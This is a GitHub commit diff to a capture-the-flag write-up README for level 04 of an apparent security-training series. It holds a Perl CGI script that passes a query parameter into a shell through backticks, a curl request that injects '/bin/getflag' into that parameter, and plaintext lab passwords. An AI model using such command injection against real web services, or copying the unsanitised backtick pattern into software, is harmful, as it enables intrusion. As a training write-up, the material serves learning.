Skip to content

Commit

Permalink
show READMEs daily
Browse files Browse the repository at this point in the history
  • Loading branch information
nuoxoxo committed Nov 17, 2024
1 parent 3da1839 commit 255b514
Showing 1 changed file with 35 additions and 10 deletions.
45 changes: 35 additions & 10 deletions README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -282,22 +282,47 @@ getflag: /bin/getflag
```


# 04 - Todo: perl script problem
- understand the `.pl`
- know `2>&1`
# 04

Login

```b
> nc -vz localhost 4747
👆 v: verbose - z: scan if a port is open
Connection to localhost 4747 port [tcp/*] succeeded!
> ssh level04@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: qi0maab88jeaj46qoumi7maus
```

> curl localhost:4747/?x="\`/bin/getflag\`"
We have a script and maybe it interacts w/ a webpage:

```pl
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
# CGI (Common Gateway Interface)
# param: a CGI module func fetches params from HTTP requests
# qw: quote words
print "Content-type: text/html\n\n";
sub x {
$y = $_[0];
print `echo $y 2>&1`;
# sub -- define subroutine x
# $_[0] -- subroutine `x()` takes a single arg`
# print w/ backticks invokes a shell command
# 2>&1 -- combine stdout and stderr, & means 1 is a fd not a filename
}
x(param("x"));
# 1st `x` : calling the subroutine
# 2nd `x` : a query param
# x comes in form of "...?x=getflag"
```

- token
Solution

```b
su level05
> Password: ne2searoevaevoem4ov4ar8ap
> nc -vz localhost 4747
^ v: verbose, z: scan if a port is open (scanning listening daemons)
Connection to localhost 4747 port [tcp/*] succeeded!
> curl localhost:4747/?x="\`/bin/getflag\`"
```


Expand Down

0 comments on commit 255b514

Please sign in to comment.